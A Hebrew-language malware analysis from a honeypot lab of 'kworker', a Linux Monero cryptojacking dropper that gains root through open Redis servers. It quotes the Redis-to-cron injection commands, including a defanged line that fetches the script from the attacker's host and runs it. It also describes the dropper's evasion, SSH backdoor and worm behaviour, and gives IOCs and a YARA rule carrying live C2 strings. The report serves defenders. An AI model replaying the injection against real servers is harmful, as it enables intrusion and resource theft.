malware · cryptomining · redis · linux · honeypot · monero · 8220-gang · xmrig · worm
Kworker: כורה המטבעות שמביא איתו את מסיר ההתקנה שלו
Kinryū Labs תפסה כורה מטבעות זדוני משושלת 8220 הופך יציאת Redis פתוחה וללא סיסמה לקליפת root בכחמש שניות. הדרופר, סקריפט מעטפת בן 636 שורות בשם kworker, מסיר את סוכני אבטחת הענן של Alibaba ו-Tencent בעזרת הכלים של היצרנים עצמם, מבזבז 200 שורות על הריגת כורים מתחרים, שותל דלת אחורית ב-SSH, מסתיר כורה מונרו XMRig מאחורי ps, top ו-pstree מזויפים, ומנסה להתפשט הלאה.
מאת Davis Zheng·
TLP:CLEAR. אושר לפרסום ציבורי. נלכד על ידי רשת חיישני מלכודות הדבש של Kinryū Labs ב-10 ביוני 2026. ניתוח סטטי ופסיבי בלבד: הדרופר מעולם לא הורץ ולא נוצר קשר עם שום תשתית של התוקף. המחוונים שלהלן מנוטרלים (defanged); כלל ה-YARA נושא את המחרוזות החיות מתוקף התכנון, לצורך זיהוי. לא שחזרנו את קובץ הכורה משלב 2 ולא את ארנק המונרו.
תקציר מנהלים
- ~5ש׳מיציאת Redis פתוחה לארבע דלתות אחוריות root ב-cron
- 636שורות bash, ערכת השתלטות מלאה על המארח
- 2מסירי התקנה של ספקים נישאים בפנים בקידוד base64
- 80+כורים מתחרים ברשימת החיסול
שש דקות אחרי חצות בשעון UTC, משהו פתח חיבור אל יציאת Redis באחת ממלכודות הדבש שלנו, הריץ INFO יחיד כדי לראות עם מה הוא מדבר, וניתק. שתי שניות לאחר מכן הוא חזר וניגש לעבודה. עד שניתק, חמש שניות בסך הכול, הוא כבר שכתב את טבלת ה-cron של השרת בארבע דרכים שונות והפנה כל אחת מהן לאותו קובץ: סקריפט מעטפת בשם kworker.
מעולם לא נתנו לו לרוץ. מלכודת הדבש לוכדת את המטען, מחשבת לו טביעה (hash), ומתייקת אותו בצד; המכונה עצמה נשארת נקייה. אז מה שנותר בידינו הוא הסקריפט במלואו, כל 636 השורות, והקלטה מלאה של הפריצה. בקריאה משותפת הם יוצרים חתך נקי של היכן נחתה כריית מטבעות זדונית מסחרית ב-Linux בשנת 2026, ו-kworker הוא דגימה טובה, מפני שהוא עושה כמעט כל מה שהז’אנר אי פעם המציא. הוא גם עושה דבר אחד בפנים רציניות לחלוטין: מסיר את האנטי-וירוס שלך בעזרת מסיר ההתקנה של יצרן האנטי-וירוס עצמו.
הערכות מפתח
- כריית מטבעות זדונית מסחרית משושלת 8220 Gang / kworkerds, הזדמנותית ולא ממוקדת (ביטחון בינוני). המסירה דרך Redis, כלי ההורדה ששמם שונה, קובץ הנעילה
/etc/javae, ורשימת החיסול הענקית, כולם סימני היכר של המשפחה. אנו נשארים בבינוני, ולא גבוה יותר, מפני שזהו קוד מסועף (forked) בהרחבה שצוותים מעבירים זה לזה ומוכרים מחדש, כך שהשם מצביע על שושלת, לא על מחבר יחיד. - המטרה היא כריית מונרו (ביטחון גבוה). כל מטרת הסקריפט היא להביא ולהפעיל את
javae, גרסת XMRig, לאחר הפעלת huge pages עבורה. כל השאר קיים כדי לפנות את השדה ולשמר את המארח. - תוכנה בוגרת ומשומשת היטב, לא פרויקט סוף-שבוע של מישהו (ביטחון גבוה). שורות ה-cron של הפריצה עצמה קוראות ל-
cd1ול-wd1, כלים שקיימים רק אחרי ש-kworker מותקן. הערכה כבר מניחה את עצמה, וזה סימן של קוד שמסתובב כבר זמן מה. - הארנק החסר הוא מכוון (ביטחון גבוה). הסקריפט אינו מכיל כתובת מונרו ולא מאגר; שניהם חיים בקובץ הכורה, שלא שחזרנו. הפרט היחיד שהיה קושר יחד את הקמפיינים של הצוות הזה הוא בדיוק זה שהם משאירים מחוץ לסקריפט, אותו הקיר שבו נתקלנו ב-RedTail.
FLUSHALL, ואז ארבע דרכים אל cron
Redis שנותר פתוח לאינטרנט ללא סיסמה היה במשך שנים קליפת root בת שורה אחת, והטכניקה כאן היא הישנה והאמינה. קבע מפתח מסד-נתונים שערכו הוא משימת cron. אמור ל-Redis לשמור את מסד הנתונים שלו לתיקיית cron. קרא ל-SAVE. Redis כותב את מסד הנתונים שלו לדיסק, כולל משימת ה-cron המזויפת שלך, וכעבור דקה cron מריץ אותה כ-root. המבקר שלנו לקח טביעת אצבע של השרת, בדק שהוא יכול לכתוב קובץ, כיבה את מנגנון הבטיחות שעוצר שמירה כושלת, והריץ את התרגיל.
# מה שהמבקר שלח ל-Redis (מקוצר, מנוטרל)
SET backup1 "*/2 * * * * cd1 -fsSL hxxps://download.logltech[.]workers[.]dev/up/down/api/kworker | sh"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE
כל החדירה נכנסת בתוך קומץ שניות:
- 00:06:00 UTCהתחברות, שליחת
INFOיחיד לטביעת אצבע של השרת, ניתוק. - +2 שניותחיבור מחדש. הגדרת ארבעה מפתחות, כל אחד מחזיק שורת cron.
CONFIG SET dirלתיקיית cron,CONFIG SET dbfilenameלקובץ ה-cron היעד, השבתת stop-writes-on-bgsave-error, ואזSAVE. - +5 שניות בסך הכולניתוק. למלכודת הדבש יש את המטען המלא ואת ההקלטה המלאה; המכונה נשארת נקייה.
- +דקה אחתעל מארח אמיתי, cron מריץ את השורה השתולה כ-root ומושך את
kworker.
מה ששווה להאט בשבילו הוא היתירוּת. הוא לא כתב משימת cron אחת; הוא כתב את אותה הוראה בארבעה מקומות, /var/spool/cron/root, /var/spool/cron/crontabs, /etc/cron.d/javae ו-/etc/crontab, מכסה הן את מבנה Red Hat והן את Debian והן את שתי תחביריי ה-cron. כל שורה משכה את kworker בכלי אחר, cd1, wget, curl, wd1, בלוח זמנים מדורג של שתיים, שלוש, ארבע, חמש דקות. שניים מהשמות האלה אינם תוכניות אמיתיות. cd1 ו-wd1 הם מה ש-kworker משנה אליו את שמות curl ו-wget לאחר התקנתו. הפריצה כבר מניחה את הסקריפט שהיא עומדת להוריד. כל הערכה עקבית פנימית, וכך אתה יודע שזו תוכנה בוגרת ומשומשת היטב, לא פרויקט סוף-שבוע של מישהו.
הבא איתך את מסיר ההתקנה שלך
ברגע שיש לו root, kworker מתחיל לפרק את הבניין. חומת האש מנוקה, ufw כבוי, SELinux מורד ל-permissive ואז מושבת בתצורה שלו, AppArmor נעצר, ה-NMI watchdog של הליבה מכובה, מה שחשוב מפני שכורה מצמיד את המעבד למאה אחוז במשך שבועות וה-watchdog הוא אחד הדברים המעטים שעשויים להבחין בכך. /var/log/syslog נמחק כליל.
ואז הוא יוצא לחפש סוכני אבטחת ענן, וכאן הסקריפט חדל להיות רגיל. ספקי הענן הסיניים הגדולים מצרפים סוכן מארח למכונות הווירטואליות שלהם: Aegis של Alibaba, שתראה אותו רץ בשם AliYunDun; YunJing של Tencent; HostGuard של Huawei. kworker בודק כל אחד. במקום שבו הוא מוצא את זה של Alibaba, הוא לא רק הורג את התהליך. הוא מריץ את מסיר ההתקנה הרשמי של Alibaba, וכדי לוודא שזה עובד אפילו על מכונה ללא נתיב חזרה ל-Alibaba, הוא נושא שניים ממסירי ההתקנה של Alibaba מקודדים ב-base64 בתוך עצמו. פענחנו את שניהם. הם המקור האמיתי, על כל פירוק מעקב ה-kprobe וכל השאר.
הוא מסיר את הגנת נקודות הקצה שלך בנקיון, בדיוק כפי שהיצרן התכוון, ומשאיר את היומנים מסודרים.
זה אינו אלתור. מישהו ישב מול מכונת Aliyun אמיתית, חילץ את מסירי ההתקנה, ובנה אותם פנימה.
מלחמת טריטוריה, כתובה ב-bash
אם מעולם לא קראת אחד מהסקריפטים האלה, מה שמפתיע אותך הוא כמה ממנו מכוון לפושעים אחרים. האויב האמיתי של כורה הוא הכורה הבא שמנסה לשכור את אותו מעבד, לא מנהל המערכת. kworker מבזבז כמאתיים שורות על ציד מתחרים, והוא הורג בכל ידית שהוא מצליח לתפוס.
- לפי שם תהליך, מתוך רשימת חסימה של יותר ממאה:
xmrig,kinsing,kdevtmpfsi, משפחתwatchdogsו-watchbog,ddg,sustes, וה-kworkerdsהוותיק יותר שממנו נגזר שמו שלו. - לפי יציאה, אלו שעליהן יושבים מאגרי כרייה ובוטי IRC.
- לפי כתובת IP מקודדת קשיח.
- לפי מעבד, הכלי הקהה: כל דבר שצורב יותר מ-40 אחוז מהמעבד תחת שם שהוא אינו מזהה נהרג, מתוך היגיון שתהליך לא ידוע שאוכל מעבד הוא, בהגדרה, כורה מתחרה.
הוא מוחק את הקבצים שלהם מ-/tmp ומ-/dev/shm, מקצץ את משימות ה-cron שלהם, מסיר את רוטקיטי ה-preload שחלקם מתקינים, ומושיט יד אל Docker כדי להרוג ולמחוק דימויי כרייה ידועים. זוהי אותה תפיסת קרקע שתיעדנו ב-סקריפט clean של RedTail וב-killservice.sh של Rootpacket; כל הצוותים האלה נלחמים על אותן מכונות מוגדרות-לקוי, וכולם פותחים בטאטוא של השדה.
הוא גם, באופן ספציפי וחוזר ונשנה, גס כלפי TeamTNT: מבטל את שינויי השמות של curl ו-wget ש-TeamTNT עושה ומוחק את הספריות שלו. במקום שבו הוא הורג את Kinsing הוא דורס את הקובץ במילה fuckyou ונועל אותו כך ש-Kinsing לא יוכל להשיב את עצמו. אין כאן כבוד, רק תפיסת קרקע, ו-kworker משחק אותה קשוח יותר מהרוב.
קרא את הרשימה בעיון והיא הופכת לקטלוג של כיצד המתחרים מסתתרים. אשכול אחד של מטרות מתחזה לחוטי ליבה, kacpi_svc, kswap_svc, kthreadd_svc, ksoftirqd_svc; אחר מתחזה לתהליכי רקע של המערכת, polkitd, acpid, dbus-daemon--system, ו-systemctI עם I גדולה במקום שבו צריכה להיות L. kworker צד בדיוק את התחפושות שיריביו לובשים, שהן אותן תחפושות שהוא עצמו פונה אליהן כמה שורות מאוחר יותר כשהוא מסתיר את javae בין שמות כמו systemd-network ו-irqbalanced. כולם בקרב הזה לבושים כרעש מערכת משעמם, וכולם שיננו בעל-פה את התחפושת של כולם.
כמה מטרות אינן שמות כלל. אחת היא L2Jpbi9iYXN, ה-base64 הפותח של פקודת /bin/bash. kworker מבצע grep בטבלת התהליכים אחר אותה קידומת מקודדת, ולוכד מטעין של יריב לפי גוש ה-base64 היושב בשורת הפקודה שלו.
הרשימה כולה ארוכה, יותר ממאה דרכים לקרוא לתהליך שאתה רוצה מת, ושווה לעבור עליה פעם אחת ולו רק בשביל המרקם של המריבה הזו:
רשימת החיסול המלאה, שנשלפה מהסקריפט שנלכד
נשלף מ-kill_miner_proc, kill_sus_proc וטאטוא ה-Docker. כל מה שכאן הוא מטרה ש-kworker צד, לא התשתית שלו עצמו. כתובות IP מנוטרלות.
יציאות שעליהן הוא הורג כל תהליך (מאגרי כרייה, בוטי IRC, סוסי RAT, SSH ו-Telnet חלופיים): 23, 143, 2222, 3333, 3347, 3389, 5555, 6665, 6666, 6667, 7777, 8444, 10008, 13531.
משפחות כורים ובוטנטים מזוהות: xmrig, xmrig-cpu, xmrig-notls, xmr-stak, mstxmr, cnrig, minerd, minergate, cryptonight, crypto-pool, moneroocean, kinsing, kdevtmpfsi, kworkerds, kworker34, watchdogs, watchd0g, watchbog, ddg, ddg.2011, sustes, sustse, sustse3, kthrotlds, ksoftirqds, tntrecht (TeamTNT), nanoWatch, sourplum, disk_genius, biosetjenkins, nullcrew.
מתחרים המתחזים לחוטי ליבה: kacpi_svc, kswap_svc, kauditd_svc, kpsmoused_svc, kseriod_svc, kthreadd_svc, ksoftirqd_svc, kintegrityd_svc, kblockd_svc, native_svc.
מתחרים המתחזים לתהליכי רקע של המערכת: polkitd, acpid, dbus-daemon--system, irqbalance, irqbalanc1, crond64, nginxk, vmlinuz, systemctI (i גדולה, לא systemctl), systemten, systemxlv, svcupdate, netdns, netns, redis2, rsync, httpgd, haveged, voltuned, nqscheduler.
מטענים, סקריפטים וסמני קמפיין אחרים בעלי שם: apaceha, apachiii, mixnerdx, mixtape, performedl, conns, mgwsl, pythno, jweri, lx26, i586, gddr, askdljlqw, ysaydh, bonns, donns, kxjd, nopxi, deamon, zigw, devtool, devtools, suppoie, exin, xr, jawa, ynn, servim, darwin, sysstats, Loopback, XJnRj, NXLAi, BI5zj, icb5o, wnTKYg, 2t3ik, qW3xT.2, hahwNEdB, CnzFVPLF, CvKzzZLs, OIcJi1m, IOFoqIgyC0zmf2UR, 65ccEJ7, jmxx, 2Ne80nA, C4iLM4L, Guard.sh, Duck.sh, bonn.sh, conn.sh, kw.sh, pro.sh, mr.sh, 2mr.sh, cr5.sh, he.sh, miner.sh, l.sh, z3.sh, lower.sh, ndt.sh, logo9.jpg, oracle.jpg, init10.cfg, init12.cfg, j2.conf, zer0day.ru, gitee.com.
משגרים מעורפלים וקובצי תצורה מושלכים: ./ppp, ./vsp, ./jvs, ./pvv, ./vpp, ./pces, ./rspce, ./jiba, ./haveged, ./watchbog, ./servceaess ותאומיו הכתובים בשגיאות כתיב, mwyumwdbpq.conf, honvbsasbf.conf, mqdsflm.cf, /wl.conf, wc.confz, ובנוסף סמן העריסה base64 L2Jpbi9iYXN (תחילת שורת /bin/bas... בודדת).
כתובות IP של מאגרי וC2 מתחרים שהוא יורה בהן עם הזיהוי: 45.76.122[.]92, 51.38.191[.]178, 51.15.56[.]161, 104.248.4[.]162, 89.35.39[.]78, 107.174.47[.]156, 107.174.47[.]181, 83.220.169[.]247, 51.38.203[.]146, 144.217.45[.]45, 176.31.6[.]16, 46.243.253[.]15, 200.68.17[.]196, 188.209.49[.]54, 181.214.87[.]241, 121.42.151[.]137.
דימויי וקונטיינרי Docker שהוא הורג ומוחק: קונטיינרים בשמות pocosow, gakeaws, azulu, auto, xmr, mine, slowhttp, bash.shell; הפניות דימוי pocosow, gakeaws, buster-slim, hello-, azulu, registry, xmr, monero, mine, slowhttp.
והכלי הקהה: כל דבר מעל 40 אחוז מעבד שאינו תואם ל-javae נהרג, וכך גם כל דבר מעל 10 אחוז ששמו נראה כחוט ליבה בסוגריים מרובעים, כל דבר שרץ מתוך /tmp, וכל תהליך עם שם ארוך בצורה חשודה.
עכשיו אתה לא רואה אותו
לאחר שפינה את השדה, הוא מסתיר את השחקן שלו עצמו. הוא מחליף את ps, top ו-pstree בעטיפות בנות שתי שורות שקוראות לקבצים הבינאריים האמיתיים ומסננות בשקט כל שורה שמזכירה את הכורה (javae) או את הסורק שהוא נושא (pnscan), ואז מתארך את המזויפים אחורה ל-2016 כדי שלא ייראו חדשים. הרץ ps על מכונה נגועה והכורה פשוט אינו ברשימה.
הכורה ממילא נקרא בשם שיגרום לו להיעלם בטבלת תהליכים: javae יושב לצד קובצי נעילה שנשתלו בשמות כמו systemd-network, irqbalanced ו-kswaped, כל אחד נבחר כדי להיקרא כרעש מערכת משעמם.
מפתח, ודרך אל השכנים
שני מהלכים נוספים משלימים את ההשתלטות.
הוא כותב את מפתח ה-SSH הציבורי של המפעיל, שההערה שלו היא רק uc1, אל ה-authorized_keys של root והופך את הקובץ לבלתי-ניתן-לשינוי (immutable), כך שלהבחין בו אינו מספיק; עליך לנקות את סיבית האי-שינוי לפני שתוכל אפילו למחוק אותו. זו גישה ידנית ששורדת את ניקוי הכורה.
ואז הוא מנסה להתפשט. הוא קורא את ה-known_hosts של root, רשימת כל מכונה שהתיבה הזו התחברה אליה, ומנסה להתחבר ב-SSH לכל אחת מהן בעזרת המפתחות שכבר מונחים על הדיסק, מריץ על כל מה שמכניס אותו שורה בודדת שמושכת את kworker מכתובת הגיבוי ומתחילה את כל הסיפור מחדש. זו אינה תולעת מהירה והיא נשענת על כך שמפתחות ללא סיסמה מושארים סביב, אך על סוג הצי שבו הם בדרך כלל מושארים, זה די והותר.
הכורה, והארנק שלא השגנו
על אף כל אותו מנגנון, המרוויח האמיתי משעמם: קובץ שני, javae, גרסת XMRig שכורה מונרו. kworker מפעיל את huge pages (vm.nr_hugepages מוגדר ל-128, האצת XMRig סטנדרטית), משליך את javae אל /etc, ומריץ אותו.
כאן הפער בדוח הזה. אין לנו את javae, ואין לנו את הארנק. הסקריפט אינו מכיל כתובת מונרו ולא מאגר; אלה אפויים בקובץ הכורה, שמובא בזמן ריצה, וה-C2 לא הגיש אותו לאף אחת מארגזי החול הציבוריים שבחנו את הדגימה הזו, אז אין מה לפרק באופן פסיבי. כל מי שמנתח את kworker בפני עצמו נתקל באותו הקיר. הארנק הוא הדבר היחיד שהיה קושר יחד את הקמפיינים של הצוות הזה, והוא בדיוק מה שהם משאירים מחוץ לסקריפט.
מאוחסן ב-Cloudflare, בכוונה
הן הסקריפט והן הכורה מגיעים מ-download.logltech[.]workers[.]dev, כתובת Cloudflare Workers, וזו בחירה מכוונת. Workers חינמי, הוא HTTPS כברירת מחדל, הוא שואל את המוניטין של Cloudflare כך שהוא חולף על פני רשימות חסימת דומיינים, והוא מסתיר את מקור (origin) האמיתי שהמפעיל באמת שולט בו. מלכודת הדבש שלנו מעולם לא ראתה שרת אמיתי; היא ראתה תמיד רק את Cloudflare.
ערוץ הגיבוי, בשימוש התולעת, הוא tutorial.clashverge[.]space, שנרשם בסוף פברואר. כל כתובת IP אחרת המקודדת קשיח בסקריפט שייכת למתחרה שהוא רוצה מת, מפוזרת על פני מכונות Vultr, OVH ו-DigitalOcean ומארח Alibaba Cloud אחד בהאנגג’ואו, ולא למפעיל הזה כלל. קרא את כתובות ה-IP המקודדות קשיח כרשימת מטרות, לא כתשתית.
של מי זה?
בזהירות, אם כן. זוהי כריית מטבעות זדונית מסחרית מהשושלת המתויקת בדרך כלל תחת 8220 Gang, או kworkerds. הסימנים כולם נוכחים: המסירה דרך הזרקת cron ב-Redis, שינוי השם מ-curl ל-cd1, קובץ הנעילה /etc/javae, המפיץ pnscan, רשימת החיסול הענקית. מנועי האנטי-וירוס אינם מסכימים על שם, וזה כשלעצמו העניין. ClamAV קורא לו Rocke, Rising מתייג TeamTNT, השאר פשוט אומרים CoinMiner. הסקריפטים האלה מועתקים, ממוזגים ונמכרים מחדש על פני חצי תריסר צוותים, ו-kworker הורג כמה מהמשפחות שהוא קרוב אליהן.
התייחס למשפחה כשכונה, לא כטביעת אצבע.
ההתמקדות בסוכני הענן הסיניים, ואָח של Windows ב-PowerShell ש-VirusTotal מקשר לאותה דגימה, משלימים את התמונה, אך האמירה הבטוחה היא הצנועה. מסועף בהרחבה, ממניע כספי, לא ממוקד, ולא חדש. ביטחון בינוני, ונוח שם.
סימני פריצה
רשת
| מחוון | הקשר |
|---|---|
download.logltech[.]workers[.]dev | C2 (ראשי), Cloudflare Workers. מגיש /up/down/api/{kworker, javae, cb.txt} |
tutorial.clashverge[.]space | C2 (גיבוי), בשימוש התולעת. נרשם ב-27 בפבר׳ 2026 |
170.9.225[.]197 | כתובת IP המקור שפגעה במלכודת ה-Redis |
מארח *.workers.dev + GET תחת /up/down/api/ | תבנית משיכת מטען ששווה מבט מעמיק על הקו |
קבצים (SHA-256 / MD5)
| קובץ | SHA-256 | MD5 |
|---|---|---|
kworker (דרופר) | 7420e819e6cf6d7608e475468ae0160185fe7eed0b5b4129aad3e8dabc776e30 | 501ec2da3039ebe4ca379f663232176a |
javae (כורה XMRig) | לא שוחזר, צפוי 5,685,096 בתים |
מפתח SSH של הדלת האחורית: ההערה uc1, טביעת אצבע של מפתח ציבורי SHA256:VG0G5YwuzVAQW5JrC9RukA6Pynj3AwnFhWPCKp6TfVY. צוד אותו ב-authorized_keys על פני כל מצבת המכונות.
ממצאים על המארח
| נתיב | הקשר |
|---|---|
/etc/kworker, /etc/javae, /etc/cron.d/javae, /tmp/{kworker,javae} | קבצים מושלכים |
/usr/bin/cd1 (היה curl), /usr/bin/wd1 (היה wget) | כלי הורדה ששמם שונה |
/bin/ps.original, /bin/top.original, /bin/pstree.original | קבצים בינאריים אמיתיים השמורים מאחורי עטיפות נגועות-סוס-טרויאני |
/usr/bin/{kswaped, pamdicks, ip6network, irqbalanced, rctlcli, systemd-network} | קובצי נעילה בלתי-ניתנים-לשינוי בשם בן ספרה אחת |
vm.nr_hugepages = 128 | huge pages מופעלות עבור XMRig |
התנהגותי
-
ps,topאוpstreeשהוא למעשה סקריפט מעטפת המעביר דרךgrep -v. -
authorized_keysשלא כתבת, המסתיים בהערהuc1. - משימות cron המריצות
sh /etc/kworkerאוsh /tmp/kworker, ו-/etc/cron.d/javaeשלא אמור להתקיים. - קבצים בלתי-ניתנים-לשינוי בשם בן ספרה אחת ב-
/usr/bin/kswapedוחבריו. -
curlו-wgetששמם שונה ל-cd1ו-wd1. -
vm.nr_hugepagesשהוגדר בשקט ל-128.
זיהוי
הסימנים מצד המארח רועשים ברגע שאתה מכיר אותם, והם מפורטים למעלה. על הקו, כל דבר שפותר מארח *.workers.dev ומבקש נתיבים תחת /up/down/api/ ראוי למבט מעמיק. הנה כלל YARA שמופעל על המחרוזות היציבות. הוא נושא את המחרוזות החיות בכוונה, לצורך זיהוי.
rule kworker_cryptojacker_sh
{
meta:
description = "Linux kworker/javae cryptojacking installer (Redis XMRig dropper)"
author = "Kinryu Labs honeypot CTI"
reference = "7420e819...776e30" // full SHA-256 in the IOC table
tlp = "CLEAR"
strings:
$c2_1 = "download.logltech.workers.dev" ascii
$c2_2 = "tutorial.clashverge.space" ascii
$api = "/up/down/api/kworker" ascii
$lock = "/etc/javae" ascii
$miner = "miner_size=\"5685096\"" ascii
$ren1 = "mv /usr/bin/curl /usr/bin/cd1" ascii
$ren2 = "mv /usr/bin/wget /usr/bin/wd1" ascii
$bin1 = "/usr/bin/pamdicks" ascii
$bin2 = "/usr/bin/kswaped" ascii
$bin3 = "/usr/bin/rctlcli" ascii
$fn1 = "kill_miner_proc" ascii
$fn2 = "download_file_if_needed" ascii
$hide = "javae\\|pnscan" ascii
$ssh = "9p8zIVKLUHMUNC9mKqPljzxH" ascii // fragment of the uc1 key
condition:
filesize < 256KB and (
$ssh or any of ($c2_1, $c2_2) or
($api and $lock) or
($miner and 1 of ($ren1, $ren2)) or
(2 of ($bin1, $bin2, $bin3) and 1 of ($fn1, $fn2, $hide))
)
}
מה זה אמור לשנות
שום דבר מזה אינו מתוחכם, וזה הלקח. kworker נכנס מפני שיציאת Redis הייתה פתוחה ללא סיסמה, טעות מ-2018 שעדיין משתלמת ב-2026. כל מה שאחרי זה, הסרת ה-EDR והרוטקיט והתולעת, נעשה חשוב רק מפני שדלת הכניסה הייתה לא נעולה.
- אל תחשוף את Redis, או כל מאגר נתונים, לאינטרנט, וגרום לו לדרוש אימות. התייחס לשירות פתוח אחד כפריצה של כל המארח, לא של שירות יחיד.
- שמור על cron ועל
authorized_keysכעל קוד ייצור, מפני שעבור תוקף זה בדיוק מה שהם. - אל תתייחס לסוכן הענן שעל המכונה כרשת ביטחון. האינסטינקט הראשון של kworker היה לגשת ולהסיר אותו, באדיבות, בעזרת הכלים של היצרן עצמו.
מיפוי MITRE ATT&CK
| טקטיקה | טכניקה |
|---|---|
| Initial Access | T1190 Exploit Public-Facing Application (Redis) |
| Execution | T1059.004 Unix Shell |
| Persistence | T1053.003 Cron; T1098.004 SSH Authorized Keys |
| Defense Evasion | T1562.001 Impair Defenses: Disable or Modify Tools (הסרת סוכן ענן ו-EDR); T1562.004 Disable or Modify System Firewall; T1070.002 Clear Linux or Mac System Logs; T1014 Rootkit (ps/top/pstree נגועי-סוס-טרויאני); T1036.005 Masquerading: Match Legitimate Name; T1222.002 Linux File and Directory Permissions Modification (chattr +i); T1070.006 Timestomp (מזויפים בתיארוך אחורה) |
| Discovery | T1057 Process Discovery (ציד מתחרים); T1518.001 Security Software Discovery (סוכני ענן); T1046 Network Service Scanning (pnscan) |
| Lateral Movement | T1021.004 Remote Services: SSH; T1570 Lateral Tool Transfer |
| Command and Control | T1071.001 Web Protocols; T1102 Web Service (Cloudflare Workers); T1105 Ingress Tool Transfer |
| Impact | T1496 Resource Hijacking (כריית מונרו) |
מתודולוגיה והערות אנליסט
- הניתוח היה סטטי ופסיבי. הדרופר מעולם לא הורץ ולא נוצר קשר עם שום תשתית של התוקף. הממצאים מגיעים מקריאת הסקריפט שנלכד בן 636 השורות במלואו, פענוח מסירי ההתקנה base64 המוטמעים, ובחינת הסשן המוקלט של Redis.
- המחוונים למעלה מנוטרלים. כלל ה-YARA מכיל את המחרוזות החיות בכוונה, לצורך זיהוי.
- אין לנו את הכורה משלב 2 (
javae) ולא את ארנק המונרו. הסקריפט אינו נושא אף אחד מהם; שניהם חיים בקובץ הכורה, שמובא בזמן ריצה וש-C2 לא הגיש לארגזי חול ציבוריים. שחזור הארנק היה דורש פיצוץ חי עם לכידת רשת, שלא ביצענו. - דגימות (הדרופר ומסירי ההתקנה המפוענחים) זמינות לחוקרים ולמגנים אחרים לפי בקשה. כתבו ל-[email protected] עם פתק קצר על מי אתם ולמה אתם זקוקים להן.